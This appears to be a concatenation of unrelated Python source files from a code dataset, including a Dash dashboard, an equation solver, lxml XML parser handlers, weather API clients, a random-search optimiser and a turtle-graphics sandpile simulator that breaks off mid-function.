borderBottomWidth=300, borderBottomColor='#d9bfc6',\n position='relative',\n top=-88)),\n # Total\n html.Div([\n html.H1(str(data.bap_engagements),\n style=dict(fontSize=120, textAlign='center', fontWeight='bold', position='relative',\n color='#4f1a2e'),\n className='twelve columns'),\n html.H1(\"ENGAGEMENTS WITH BAP CENTRAL PROGRAMS\",\n style=dict(fontSize=35, textAlign='center', position='relative', color=textcolor),\n className='twelve columns')\n ], style=dict(position='relative', top=-420\n ), className='row'),\n html.Div([\n html.Img(src=get_icon(data.ric_name + '_support.png'), style=dict(height=600))\n\n ], className='row', style=dict(position='relative', top=-788, height=590,\n backgroundColor='#dabec6', webkitPrintColorAdjust='exact')),\n\n html.P('Engagements are number of touchpoints that BAP Central Programs have had with RIC Clients which '\n 'may include: Market Intelligence requests, funding awarded, and workshops and E101 participants.',\n style=dict(position='relative', fontSize=25, textAlign='center', top=-810, fontWeight=500, zIndex=1,\n backgroundColor='#dabec6', webkitPrintColorAdjust='exact', width=2005), className='row', )\n ])\n return efficiency\n\n\ndef get_footer1():\n footer = html.Div([\n html.Div(style=dict(backgroundColor='#95506e', height=10, webkitPrintColorAdjust='exact', position='relative',\n top=-30)),\n html.Div([\n\n html.Img(src=get_icon(bap_logo), style=dict(height=60, width=240, position='relative', ),\n className='four columns'),\n\n html.P('2017-2018 REGIONAL INNOVATION CENTRE NETWORK ACTIVITY',\n style=dict(fontWeight='bold', color='#4f1a2e', fontSize=20, fontFamily=bodyfont, textAlign='centre',\n position='relative'),\n className='three columns'),\n html.P('CONFIDENTIAL',\n style=dict(fontFamily=bodyfont, fontSize=30, fontWeight='bold', color='#4f1a2e', textAlign='right',\n position='relative'),\n className='six columns')\n ])\n ], style=dict(height=50, position='relative', top=-750))\n return footer\n\n\napp.layout = html.Div([\n html.Link(rel='stylesheet', href='https://codepen.io/ssim/pen/QBvXVj.css'),\n # header\n get_header(),\n html.Div(style=dict(height=20)),\n # Row 1\n get_reach_section(),\n html.Div(style=dict(height=50, backgroundColor='#f6eff2', webkitPrintColorAdjust='exact', position='relative',\n width='100%')),\n html.Div(style=dict(height=50, backgroundColor='#ffffff', webkitPrintColorAdjust='exact', position='relative',\n width='100%')),\n get_client_breakdown(),\n\n html.Div(html.Hr(\n style=dict(color='#ecdfe2', backgroundColor='#ecdfe2', webkitPrintColorAdjust='exact', height=200, top=-220,\n position='relative', zIndex=-1),\n className='twelves columns')),\n # # Right triangles\n html.Div([\n html.Div(style=dict(width=0, height=0, borderTopStyle='solid', borderTopWidth=300,\n borderTopColor='#ecdfe2',\n borderRightStyle='solid', borderRightWidth=997, borderRightColor='transparent',\n position='relative'), className='twelve columns'),\n html.Div(style=dict(width=0, height=0, borderTopStyle='solid', borderTopWidth=300,\n borderTopColor='#ecdfe2',\n borderLeftStyle='solid', borderLeftWidth=1000, borderLeftColor='transparent',\n position='relative'), className='twelve columns'),\n ], style=dict(position='relative', top=-258), ),\n html.Div(style=dict(height=200)),\n\n get_efficiency(),\n get_footer1()\n])\n\n\n@app.server.route('/https://codepen.io/ssim/pen/QBvXVj.css')\ndef static_file(path):\n static_folder = os.path.join(os.getcwd(), 'static')\n return send_from_directory(static_folder, path)\n\n\nif __name__ == '__main__':\n app.run_server(debug=False)\n","sub_path":"Annual_BAP_2018/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":16398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"425742966","text":"from equation.Equality import Equality\nfrom equation.properties.AdditionProperty import addition\nfrom equation.properties.DivisionProperty import division\nfrom equation.properties.MultiplicationProperty import multiplication\nfrom equation.properties.SubtractionProperty import subtraction\nfrom expression.Exploder import ExplosionCache, simplify\nfrom expression.Utils import swap_variables, extract_variables\nfrom expression.parser.Parser import VariableNode, parse, Node, ConstantNode, FunctionNode\n\n\ndef isolate(eq: Equality, variable: VariableNode):\n cache = ExplosionCache()\n processed = set()\n options = {eq}\n while options:\n _eq = options.pop()\n # print(f'{_eq}')\n if _eq.lhs == variable:\n return _eq\n elif _eq.rhs == variable:\n return _eq\n new_options = set()\n new_options |= addition(_eq, cache)\n new_options |= division(_eq, cache)\n new_options |= multiplication(_eq, cache)\n new_options |= subtraction(_eq, cache)\n processed.add(eq)\n for _eq in new_options:\n if _eq not in options and _eq not in processed:\n options.add(_eq)\n raise ValueError('Unable to isolate')\n\n\ndef is_solution(\n eq: Equality,\n var_replacements: dict[VariableNode, Node]\n):\n lhs = swap_variables(eq.lhs, var_replacements)\n lhs, _ = simplify(lhs)\n rhs = swap_variables(eq.rhs, var_replacements)\n rhs, _ = simplify(rhs)\n if not isinstance(lhs, ConstantNode) or not isinstance(rhs, ConstantNode):\n raise ValueError(f'Missing variable replacements = {extract_variables(lhs) | extract_variables(rhs)}')\n if isinstance(lhs, ConstantNode) and isinstance(rhs, ConstantNode) and lhs == rhs:\n return True\n elif isinstance(lhs, FunctionNode) and lhs.op == '/' \\\n and isinstance(rhs, FunctionNode) and rhs.op == '/'\\\n and isinstance(lhs.args[0], ConstantNode) and isinstance(lhs.args[1], ConstantNode)\\\n and isinstance(rhs.args[0], ConstantNode) and isinstance(rhs.args[1], ConstantNode)\\\n and lhs.args == rhs.args:\n return True\n return False\n\n\nif __name__ == '__main__':\n # eq = Equality(parse('2*x'), parse('4'))\n # eq_isolated = isolate(eq, VariableNode('x'))\n # print(f'{eq_isolated}')\n eq = Equality(parse('4*x-2'), parse('2*x+1'))\n solution = is_solution(eq, {VariableNode('x'): FunctionNode('/', [ConstantNode(3), ConstantNode(2)])})\n print(f'{solution}')\n","sub_path":"docs/data/learn/Algebra/input/arithmetic_code/equation/Solver.py","file_name":"Solver.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"556090493","text":"from dataclasses import dataclass\nfrom dataclasses import field\nfrom typing import Any\nfrom typing import Dict\nfrom typing import Iterable\nfrom typing import List\nfrom typing import Optional\n\nfrom lxml import etree\n\nfrom xsdata.exceptions import XmlHandlerError\nfrom xsdata.formats.dataclass.parsers.mixins import XmlHandler\nfrom xsdata.models.enums import EventType\n\nEVENTS = (EventType.START, EventType.END, EventType.START_NS)\n\n\n@dataclass\nclass LxmlEventHandler(XmlHandler):\n \"\"\"\n Event handler based on :class:`lxml.etree.iterparse` api.\n\n :param parser: The parser instance to feed with events\n :param clazz: The target binding model. If None the parser will\n auto locate it from the active xml context instance\n :param queue: The XmlNode queue\n :param objects: The list of intermediate parsed objects,\n eg [(qname, object)]\n \"\"\"\n\n def parse(self, source: Any) -> Any:\n \"\"\"\n Parse an XML document from a system identifier or an InputSource.\n\n The xml parser will ignore comments, recover from errors. The\n parser will parse the whole document and then walk down the tree\n if the process xinclude is enabled.\n \"\"\"\n if self.parser.config.process_xinclude:\n tree = etree.parse(source, base_url=self.parser.config.base_url) # nosec\n tree.xinclude()\n ctx = etree.iterwalk(tree, EVENTS)\n else:\n ctx = etree.iterparse(source, EVENTS, recover=True, remove_comments=True)\n\n return self.process_context(ctx)\n\n def process_context(self, context: Iterable) -> Any:\n \"\"\"Iterate context and push the events to main parser.\"\"\"\n obj = None\n for event, element in context:\n if event == EventType.START:\n self.parser.start(\n self.clazz,\n self.queue,\n self.objects,\n element.tag,\n element.attrib,\n element.nsmap,\n )\n elif event == EventType.END:\n obj = self.parser.end(\n self.queue,\n self.objects,\n element.tag,\n element.text,\n element.tail,\n )\n element.clear()\n elif event == EventType.START_NS:\n prefix, uri = element\n self.parser.start_prefix_mapping(prefix, uri)\n else:\n raise XmlHandlerError(f\"Unhandled event: `{event}`.\")\n\n return obj\n\n\n@dataclass\nclass LxmlSaxHandler(XmlHandler):\n \"\"\"\n Sax content handler based on :class:`lxml.etree.XMLParser` api.\n\n :param parser: The parser instance to feed with events\n :param clazz: The target binding model. If None the parser will\n auto locate it from the active xml context instance\n :param queue: The XmlNode queue\n :param objects: The list of intermediate parsed objects,\n eg [(qname, object)]\n \"\"\"\n\n # Scope vars\n data_frames: List = field(init=False, default_factory=list)\n flush_next: Optional[str] = field(init=False, default=None)\n\n def parse(self, source: Any) -> Any:\n \"\"\"\n Parse an XML document from a system identifier or an InputSource.\n\n The xml parser will ignore comments, recover from errors and\n clean duplicate namespace prefixes.\n \"\"\"\n\n if self.parser.config.process_xinclude:\n raise XmlHandlerError(\n f\"{type(self).__name__} doesn't support xinclude elements.\"\n )\n\n parser = etree.XMLParser(\n target=self,\n recover=True,\n remove_comments=True,\n ns_clean=True,\n resolve_entities=False,\n no_network=True,\n )\n\n return etree.parse(source, parser=parser) # nosec\n\n def start(self, qname: str, attrs: Dict, ns_map: Dict):\n \"\"\"\n Start element notification receiver.\n\n The receiver will flush any previous active element, append a\n new data frame to collect data content for the next active\n element and notify the main parser to prepare for next binding\n instruction.\n\n :param qname: Qualified name\n :param attrs: Attribute key-value map\n :param ns_map: Namespace prefix-URI map\n \"\"\"\n self.flush()\n self.data_frames.append(([], []))\n self.parser.start(\n self.clazz,\n self.queue,\n self.objects,\n qname,\n attrs,\n self.start_ns_bulk(ns_map),\n )\n\n def end(self, qname: str):\n \"\"\"\n End element notification receiver.\n\n The receiver will flush any previous active element and set the\n next element to be flushed.\n\n :param qname: Qualified name\n \"\"\"\n self.flush()\n self.flush_next = qname\n\n def close(self) -> Any:\n \"\"\"\n Close document notification receiver.\n\n The receiver will flush any previous active element and return\n the first item in the objects stack.\n \"\"\"\n try:\n self.flush()\n return self.objects[0][1]\n except IndexError:\n return None\n\n def flush(self):\n \"\"\"\n Flush element notification receiver.\n\n The receiver will check if there is an active element present,\n collect and join the data frames for text/tail content and\n notify the main parser to finish the binding process for the\n element.\n \"\"\"\n if self.flush_next:\n data = self.data_frames.pop()\n text = \"\".join(data[0]) if data[0] else None\n tail = \"\".join(data[1]) if data[1] else None\n\n self.parser.end(self.queue, self.objects, self.flush_next, text, tail)\n self.flush_next = None\n\n def data(self, data: str):\n \"\"\"\n Data notification receiver.\n\n The receiver will append the given data content in the current\n data frame either in the text position 0 or in the tail position\n 1 whether the element has ended or not.\n\n :param data: Text or tail content\n \"\"\"\n index = 0 if self.flush_next is None else 1\n self.data_frames[-1][index].append(data)\n","sub_path":"xsdata/formats/dataclass/parsers/handlers/lxml.py","file_name":"lxml.py","file_ext":"py","file_size_in_byte":6316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"253171136","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.5 (62131)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/bezel/networking/engine.py\n# Compiled at: 2009-02-25 04:20:27\nfrom SocketServer import StreamRequestHandler\nimport simplejson\n\ndef expose(fn):\n \"\"\"\n Declares a function in the game engine to be part of the interface\n available through the networking engine.\n \"\"\"\n fn.__exposed__ = True\n return fn\n\n\nclass DeclarativeMeta(type):\n\n def __new__(mcs, class_name, bases, new_attrs):\n cls = type.__new__(mcs, class_name, bases, new_attrs)\n cls.__classinit__.im_func(cls, new_attrs)\n return cls\n\n\nclass NetworkedGame(object):\n __metaclass__ = DeclarativeMeta\n __interface__ = None\n\n @classmethod\n def __classinit__(cls, new_attrs):\n interface = new_attrs.get('__interface__', {})\n for (key, attr) in new_attrs.items():\n if getattr(attr, '__exposed__', False):\n interface[key] = attr\n\n cls.__interface__ = interface\n\n def __call__(self, method, *args, **kwargs):\n return self.__interface__[method](self, *args, **kwargs)\n\n\ndef join(gen, num):\n items = []\n i = 0\n for item in gen:\n items.append(item)\n i += 1\n if i >= num:\n yield items\n items = []\n i = 0\n\n\nclass JSONRequestHandler(StreamRequestHandler, object):\n\n def __init__(self, *args, **kwargs):\n self.request_buffer = None\n self.engine = None\n super(JSONRequestHandler, self).__init__(*args, **kwargs)\n return\n\n def get_data(self):\n while True:\n data = self.request.recv(1024)\n if not data:\n break\n yield data\n\n def get_lines(self):\n left_over = ''\n for data in self.get_data():\n data = left_over + data\n position = data.find('\\n')\n while position != -1:\n yield data[:position + 1].rstrip('\\r\\n')\n data = data[position + 1:]\n position = data.find('\\n')\n\n left_over = data\n\n def setup(self):\n super(JSONRequestHandler, self).setup()\n self.engine = self.server.engine\n\n def handle(self):\n super(JSONRequestHandler, self).handle()\n for (method, args, kwargs) in join(self.get_lines(), 3):\n args = simplejson.loads(args)\n kwargs = simplejson.loads(kwargs)\n assert isinstance(args, list)\n assert isinstance(kwargs, dict)\n kwargs = dict([ (str(k), v) for (k, v) in kwargs.items() ])\n response = self.engine(method, *args, **kwargs)\n response = simplejson.dumps(response)\n self.request.send(response + '\\n')","sub_path":"pycfiles/bezel-1.0dev_r162-py2.5/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"81318476","text":"import requests\n\nfrom weatherforecast import address\n\n\ndef get_weather():\n district = address.get_address_city()\n print(district)\n\n baseurl = 'http://apis.baidu.com/showapi_open_bus/weather_showapi/address'\n apikey = '09d2369dd5b6b39d1b4c3a49b9d71e6e'\n\n payload = {'area': district}\n header = {'apikey': apikey}\n result = requests.request('get', baseurl, params=payload, headers=header)\n # print(result.json())\n jsondata = result.json()\n print('白天天气:', jsondata['showapi_res_body']['f2']['day_weather'])\n print('白天风力:', jsondata['showapi_res_body']['f2']['day_wind_power'])\n print('...')\n","sub_path":"weatherforecast/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"226828714","text":"\"\"\"\nTopics: | Array | Hash Table |\n\"\"\"\n\nclass Solution:\n\n def twoSum(self, nums, target):\n \"\"\"\n Time: O(n)\n Space: O(n)\n \"\"\"\n num_indices = {} # Maps nums[i] to i\n for i, num in enumerate(nums):\n complement = target - num\n if complement in num_indices:\n return [num_indices[complement], i]\n num_indices[num] = i\n return [-1, -1]\n","sub_path":"LeetCode/src/001 - Two Sum.py","file_name":"001 - Two Sum.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"47828119","text":"import pprint\nimport requests\nfrom dateutil.parser import parse\n\n\nclass YahooWeatherForecast:\n def __init__(self):\n # Кэш данных по городам - словарь\n self._city_cache = {}\n\n def get(self, city):\n # Сначала проверяем, не в кэше ли город\n if city in self._city_cache:\n return self._city_cache[city]\n\n # Если нет, то отправляем HTTP запрос\n url = f\"https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20weather.forecast%20where%20woeid%20in%20(select%20woeid%20from%20geo.places(1)%20where%20text%3D%22{city}%22)%20and%20u%3D'c'&format=json&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys\"\n print(\"Sending HTTP request\")\n data = requests.get(url).json()\n forecast_data = data[\"query\"][\"results\"][\"channel\"][\"item\"][\"forecast\"]\n forecast = []\n for day_data in forecast_data:\n forecast.append({\n \"date\": parse(day_data[\"date\"]),\n \"high\": day_data[\"high\"]\n })\n\n # Добавляем в кэш\n self._city_cache[city] = forecast\n return forecast\n\n\nclass CityInfo:\n def __init__(self, city, weather_forecast=None):\n self.city = city\n self._weather_forecast = weather_forecast or YahooWeatherForecast()\n\n def weather_forecast(self):\n return self._weather_forecast.get(self.city)\n\n\ndef _main():\n yahooforecast = YahooWeatherForecast()\n city_list = [\"moscow\", \"tver\", \"saint-petersburg\", \"tver\"]\n for city in city_list:\n city_info = CityInfo(city, yahooforecast)\n forecast = city_info.weather_forecast()\n pprint.pprint(\n f'City:\\n{city}\\nWeather:\\n{forecast}'.splitlines(), indent=2)\n\n\nif __name__ == '__main__':\n _main()\n","sub_path":"Diving in Python/week3/Classes_example/City.py","file_name":"City.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"499558618","text":"import numpy as np\n\nfrom scipy.optimize import OptimizeResult\nfrom sklearn.utils import check_random_state\n\nfrom .utils import extract_bounds\n\n\ndef dummy_minimize(func, bounds, maxiter=1000, random_state=None):\n \"\"\"Random search by uniform sampling within the given bounds.\n\n Parameters\n ----------\n * `func` [callable]:\n Function to minimize. Should take a array of parameters and\n return the function values.\n\n * `bounds` [array-like, shape=(n_parameters, 2)]:\n - ``bounds[i][0]`` should give the lower bound of each parameter and\n - ``bounds[i][1]`` should give the upper bound of each parameter.\n\n * `maxiter` [int, default=1000]:\n Number of iterations to find the minimum. In other words, the\n number of function evaluations.\n\n * `random_state` [int, RandomState instance, or None (default)]:\n Set random state to something other than None for reproducible\n results.\n\n Returns\n -------\n * `res` [`OptimizeResult`, scipy object]:\n The optimization result returned as a OptimizeResult object.\n Important attributes are:\n\n - `x` [float]: location of the minimum.\n - `fun` [float]: function value at the minimum.\n - `x_iters` [array]: location of function evaluation for each\n iteration.\n - `func_vals` [array]: function value for each iteration.\n\n For more details related to the OptimizeResult object, refer\n http://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.OptimizeResult.html\n \"\"\"\n rng = check_random_state(random_state)\n\n n_params = len(bounds)\n lb, ub = extract_bounds(bounds)\n\n X = lb + (ub - lb) * rng.rand(maxiter, n_params)\n init_y = func(X[0])\n if not np.isscalar(init_y):\n raise ValueError(\n \"The function to be optimized should return a scalar\")\n y = np.asarray([init_y] + [func(X[i]) for i in range(maxiter - 1)])\n\n res = OptimizeResult()\n best = np.argmin(y)\n res.x = X[best]\n res.fun = y[best]\n res.func_vals = y\n res.x_iters = X\n\n return res\n","sub_path":"skopt/dummy_opt.py","file_name":"dummy_opt.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"128214906","text":"#AbelianSandpile Model\n#Now with turtle\n#Updated scanning algorithim\n#Fixed recursion error\nprint('--#Abelian Sandpile Generator [Version 6.22]')\nprint('----#Written by Marco Almonte\\n')\n\nimport random, time, copy, turtle, sys\n\n#turtle setup-------------------------------------------------------------------\nmyPen = turtle.Turtle() \t\t#creates a turtle called \"myPen\"\ncachePen = turtle.Turtle() \t\t#creates a turtle called \"cachePen\" \n\t\t\t\t\t\t#-used to display a clone of myPen while myPen draws a new grid\ntext = turtle.Turtle()\t\t\t#creates a turtle called \"text\"\n\n#Sets the speed of turtles to instant\nmyPen.speed(0)\ntext.speed(0)\ncachePen.speed(0)\n\n#Sets the color of the turtles (Values dont matter as the turtles are hidden)\nmyPen.color(\"#000000\",\"#FFFFFF\") \ntext.color(\"#000000\",\"#FFFFFF\")\ncachePen.color(\"#000000\",\"#FFFFFF\")\n\n\nmyPen.hideturtle() \t#Hides turtle myPen\ncachePen.hideturtle() \t#Hides turtle cachePen\ntext.hideturtle() \t#Hides turtle text\nturtle.tracer(n=0) \t#Turns off tracers on turtles, the screen now must be updated manually\n\n#defining global variables------------------------------------------------------------------\n#\tSet-Up Variables\nn = 0\t\t\t\t#Current amount of sand\nnini = 0\t\t\t#Inputted amount of sand\nsize = 11\t\t\t#Grid size\nfreq = 1\t\t\t#Frequency to print updates into idle or draw Generations\nshowProcess = 'undefined'\t#Whether to draw generations in idle\nmethod = 'undefined'\t\t#\"Method\" i.e. how to spawn sand\nnmethod = 'undefined'\t\t#The method of n how to add sand i.e. 1 by 1\nsbs = 'n'\t\t\t#Step-By-Step whether to show each change in the iteration\n\n#\tStatistical Variables\ngeneration = 0\t\t\t#Current generation the program is in\nd = 0\t\t\t\t#Amount of topples that have occurred this generation\npercent = 0\t\t\t#Percent completed\ndepth = 0\t\t\t#Depth value, used to measure recursion, not used\n\ncacheGrid = [[]]\t\t#Cached version of the grid, used to test if grid has reached stability\nempLayer = []\t\t\t#Empty layer\ngrid = []\t\t\t#List of lists that represent a grid\ncacheX = []\t\t\t#List of X values that are stored for future calculations in the generation\ncacheY = []\t\t\t#List of Y values that are stored for future calculations in the generation\n\nposini = 'undefined'\t\t#Initial position of the turtle (Specifically myPen)\nheadini = 'undefined'\t\t#Initial direction of the turtle (Specifically myPen)\n\n\n\n\n#User input--------------------------------------------------------------------------\npalette = str(input(\"Palette Choice? [Default, Sandy, Custom]\\n\")) #Asks for a string input from user (Only first letter is checked)\npalette = (palette.lower())\t#Sets the input to all lowercase\nif palette[0] == 'd':\t\t\t#Default palette\n colorC = '#2AC5C3' \t\t#LightBlue\n colorB = '#AF18DC' \t\t#Purple\n colorA = '#FF3232'\t\t#Red\n unstable = '#0000FF' \t#Blue\n background = '#2A2A2A' \t#DarkGray\n textBackground = '#000000' #Black\n textColor = '#FFFFFF' \t#White\n\nelif palette[0] == 's':\t\t\t#Sandy palette\n colorA = '#d5a102'\t\t#Dark sandy \n colorB = '#f7d468'\t\t#Medium sandy \n colorC = '#f7f3cb'\t\t#Light yellow \n unstable = '#f3624e'\t#Pinkish-red\n background = '#2A2A2A' \t#DarkGray\n textBackground = '#000000'\t#Black\n textColor = '#FFFFFF'\t#White\n\nelif palette[0] == 'c':\t\t\t#Custom palette\n print(\"The following should be in Hexcode format. i.e. #FFF000 \\nFor color codes you can use https://htmlcolorcodes.com/ \\n\")\n colorA = str(input(\" '1' color \\n\"))\n colorB = str(input(\" '2' color \\n\"))\n colorC = str(input(\" '3' color \\n\"))\n unstable = str(input(\" Unstable tile color \\n\"))\n background = str(input(\" '0' color \\n\"))\n textBackground = str(input(\" Background color \\n\"))\n textColor = str(input(\" Text color \\n\"))\n\t\nelse:\n print('Unknown Response \\nDefaulting...')\n colorC = '#2AC5C3' \t\t#LightBlue\n colorB = '#AF18DC' \t\t#Purple\n colorA = '#FF3232'\t\t#Red\n unstable = '#0000FF' \t#Blue\n background = '#2A2A2A' \t#DarkGray\n textBackground = '#000000' #Black\n textColor = '#FFFFFF' \t#White\n\nturtle.bgcolor(textBackground) #Sets the background color to black\ntext.pencolor(textColor)\t#Sets the color of the text turtle to \"textColor\"\ntext.fillcolor(textColor)\ntext.write(\"Waiting for Input\", False, align=\"center\", font=(\"Monaco\", 30, \"normal\")) #Prints \"Waiting for Input\" at turtle \"text's\" location\nturtle.title(\"Abelian Sandpile Model Generator\") #Sets the name of the turtle's window\nturtle.screensize(500,500)\t\t\t #Size of the area the turtle can draw in\ntext.getscreen().update() #updates the visuals of the turtle window\n\ndef inputN():\t#Asks user for input data and config\n global n, size, method, nini, nmethod, showProcess, freq, sbs\n try:\n nini = int(input(\"Amount of grains of sand? [Any Integer] \\n\"))\n size = int(input(\"Size of grid? [Any Integer] \\n\"))\n nmethod = str(input(\"Add grains one-by-one or all at once? [ALL/1x1] \\n\"))\n nmethod = (nmethod.lower())\n if nmethod == '1x1' or nmethod == 'onexone' or nmethod == 'one by one' or nmethod == '1 by 1' or nmethod == '1by1' or nmethod == 'one' or nmethod == '1':\n method = str(input(\"Method? [Center, Corner, NESW, Random] \\n\"))\n nmethod = '1'\n else:\n method = str(input(\"Method? [Center, Corner, NESW] \\n\"))\n nmethod = 'all'\n\t\t\n method = (method.lower())\n if method[0] == 'c' and method[1] == 'e' and method[2] == 'n': #checks if the first 3 letters input spelt 'cen'\n method = 'c'\n elif method[0] == 'c' and method[1] == 'o' and method[2] == 'r': #checks if the first 3 letters spelt 'cor'\n method = 's'\n elif method[0] == 'n' and method[1] == 'e' and method[2] == 's': #checks for 'nes...'\n method = 'n'\n elif method[0] == 'r' and method[1] == 'a' and method[2] == 'n': #checks for 'ran...'\n method = 'r'\n else:\t#raises an error if none of the above worked (Causing the except: code to run)\n int('error')\n\t\n showProcess = str(input(\"Draw Generations? [Y/N] \\n\"))\n showProcess = (showProcess.lower())\n if showProcess == \"yes\" or showProcess == 'y' :\n showProcess = \"y\"\n elif showProcess == \"no\" or showProcess == 'n':\n showProcess = \"n\"\n else:\n int('error')\n \n if showProcess == 'y':\n sbs = str(input(\"Step-By-Step? [Y/N] \\n\"))\n sbs = (sbs.lower())\n if sbs == 'yes' or sbs == 'y': sbs = 'y'\n elif sbs == 'no' or sbs == 'n': sbs = 'n'\n else:\n int('error')\n freq = int(input(\"How frequently (in generations) would you like progress updates i.e. Percentage or Generation# ?. [Any Integer] \\n\"))\n \n except:\n print(\"I don't know what that meant\")\n inputN()\n return\n\n\n#Program setup----------------------\ninputN()\nprint(\"Generating layers \")\nfor i in range(size): #Creates an empty layer for grid\n empLayer.append(0)\nempLayer.append('|')\n\nprint(\"Adding layers to grid \")\nfor ii in range(size):\n grid.append(copy.copy(empLayer)) #grid[y][x]\n \n#Position myPen in top left area of the screen\nmyPen.penup()\nmyPen.forward(-250)\nmyPen.left(90)\nmyPen.forward(260-(500/size))\nmyPen.right(90)\nposini = myPen.pos()\nheadini = myPen.heading()\n#Create text \"Generating\" in window\ntext.pencolor(textColor)\ntext.fillcolor(textColor)\ntext.clear()\nturtle.screensize(500,500)\nturtle.bgcolor(textBackground)\ntext.write(\"Generating\", False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\ntext.getscreen().update()\n\n#Drawing Functions---------------------\ndef box(intDim, penName): #creates a box that is intDim x intDim size and drawn by penName\n penName.begin_fill()\n # 0 deg.\n penName.forward(intDim)\n penName.left(90)\n # 90 deg.\n penName.forward(intDim)\n penName.left(90)\n # 180 deg.\n penName.forward(intDim)\n penName.left(90)\n # 270 deg.\n penName.forward(intDim)\n penName.end_fill()\n penName.setheading(0)\n\ndef drawGrid(boxSize, enableDrawPercent, grid, penName):\t#Draws the entire grid, with each cell in it being boxSize and optionally showing percent while drawing\n global size, colorA, colorB, colorC, background, textBackground\n turtle.bgcolor(textBackground)\n penName.setpos(posini)\n penName.setheading(headini)\n if enableDrawPercent != 'true':\n text.clear()\n text.penup()\n text.setheading(-90)\n text.forward(450)\n turtle.bgcolor(textBackground)\n text.write(\"Drawing\", False, align=\"center\", font=(\"Monaco\", 30, \"normal\"))\n text.getscreen().update()\n for y in range(len(grid)):\n if enableDrawPercent != 'true':\n print(y,\"/\",size)\n if copy.copy(grid[y]) != empLayer:\n for x in range(len(grid)):\n try:\n if grid[y][x] == 1:\n penName.pencolor(colorA)\n penName.fillcolor(colorA)\n if grid[y][x] == 2:\n penName.pencolor(colorB)\n penName.fillcolor(colorB)\n if grid[y][x] == 3:\n penName.pencolor(colorC)\n penName.fillcolor(colorC)\n if grid[y][x] >= 4:\n penName.pencolor(unstable)\n penName.fillcolor(unstable)\n if grid[y][x] == 0:\n penName.pencolor(background)\n penName.fillcolor(background)\n \n box(boxSize, penName) #creates a box, color depends on if given cell is 0,1,2 or 3+\n penName.penup()\n penName.forward(boxSize)\n penName.pendown()\n if x == len(grid)-1 and y != len(grid): #if the turtle has reached end of the grid, start next line\n penName.penup()\n penName.setheading(0)\n penName.forward(-(boxSize*(len(grid))))\n penName.setheading(-90)\n penName.forward(boxSize)\n penName.setheading(0)\n penName.pendown()\n except:\n if 1 == 0:\n print()\n else: #prints a blank line\n penName.pencolor(background)\n penName.fillcolor(background)\n penName.begin_fill()\n # 0 deg.\n penName.forward(boxSize*(len(grid)))\n penName.left(90)\n # 90 deg.\n penName.forward(boxSize)\n penName.left(90)\n # 180 deg.\n penName.forward(boxSize*(len(grid)))\n penName.left(90)\n # 270 deg.\n penName.forward(boxSize)\n penName.end_fill()\n penName.setheading(0)\n\n penName.penup()\n penName.setheading(0)\n penName.forward(boxSize*(len(grid)))\n penName.setheading(0)\n penName.forward(-(boxSize*(len(grid))))\n penName.setheading(-90)\n penName.forward(boxSize)\n penName.setheading(0)\n penName.pendown()\n\ndef printNGrid(): #prints the grid as numbers in IDLE (Used for debugging algorithim)\n for i in range(len(grid)):\n print(' '.join(map(str, grid[i])))\n\n#Calculation Functions------------------------\ndef addGrain():\t#Used to add a grain to the grid\n global n,nini,nmethod\n if n != nini and nmethod == '1': #if one by one method and the input amount of grains hasnt been added\n\t\t\n if method == 'c':\t#Adds to center\n grid[int(len(grid)/2)][int(len(grid)/2)] += 1\n n += 1\n \n elif method == 's':\t#Adds to corner\n grid[0][0] += 1\n n += 1\n if n == nini: return\n grid[-1][0] += 1\n n += 1\n if n == nini: return\n grid[-1][-2] += 1\n n += 1\n if n == nini: return\n grid[0][-2] += 1\n n += 1\n \n elif method == 'n':\t#Adds to center of each side\n grid[int(len(grid)/2)][0] += 1\n n += 1\n if n == nini: return\n grid[int(len(grid)/2)][-2] += 1\n n += 1\n if n == nini: return\n grid[0][int(len(grid)/2)] += 1\n n += 1\n if n == nini: return\n grid[-1][int(len(grid)/2)] += 1\n n += 1\n\n elif method == 'r':\t#Randomly adds\n grid[random.randint(1,(size-2))][random.randint(0,(size-1))] += 1\n n += 1\n\n if n != nini and nmethod == 'all':\n if method == 'c':\t#Sets center to max\n grid[int(len(grid)/2)][int(len(grid)/2)] = nini #sets the center point of grid to n\n n = nini\n \n elif method == 's':\t#Sets corners to max/4\n grid[0][0] = int(nini/4)\n n = int(nini/4)\n if n == nini: return\n grid[-1][0] = int(nini/4)\n n = int(nini/4)\n if n == nini: return\n grid[-1][-2] = int(nini/4)\n n = int(nini/4)\n if n == nini: return\n grid[0][-2] = int(nini/4)\n n = int(nini/4)\n \n elif method == 'n':\t#Sets middle of each side to max/4\n grid[int(len(grid)/2)][0] = int(nini/4)\n n = int(nini/4)\n if n == nini: return\n grid[int(len(grid)/2)][-2] = int(nini/4)\n n = int(nini/4)\n if n == nini: return\n grid[0][int(len(grid)/2)] = int(nini/4)\n n = int(nini/4)\n if n == nini: return\n grid[-1][int(len(grid)/2)] = int(nini/4)\n n = int(nini/4)\n\ndef doCellOperations(y,x):\t#Does the sandpile operations on given (x,y) coordinate\n global grid, 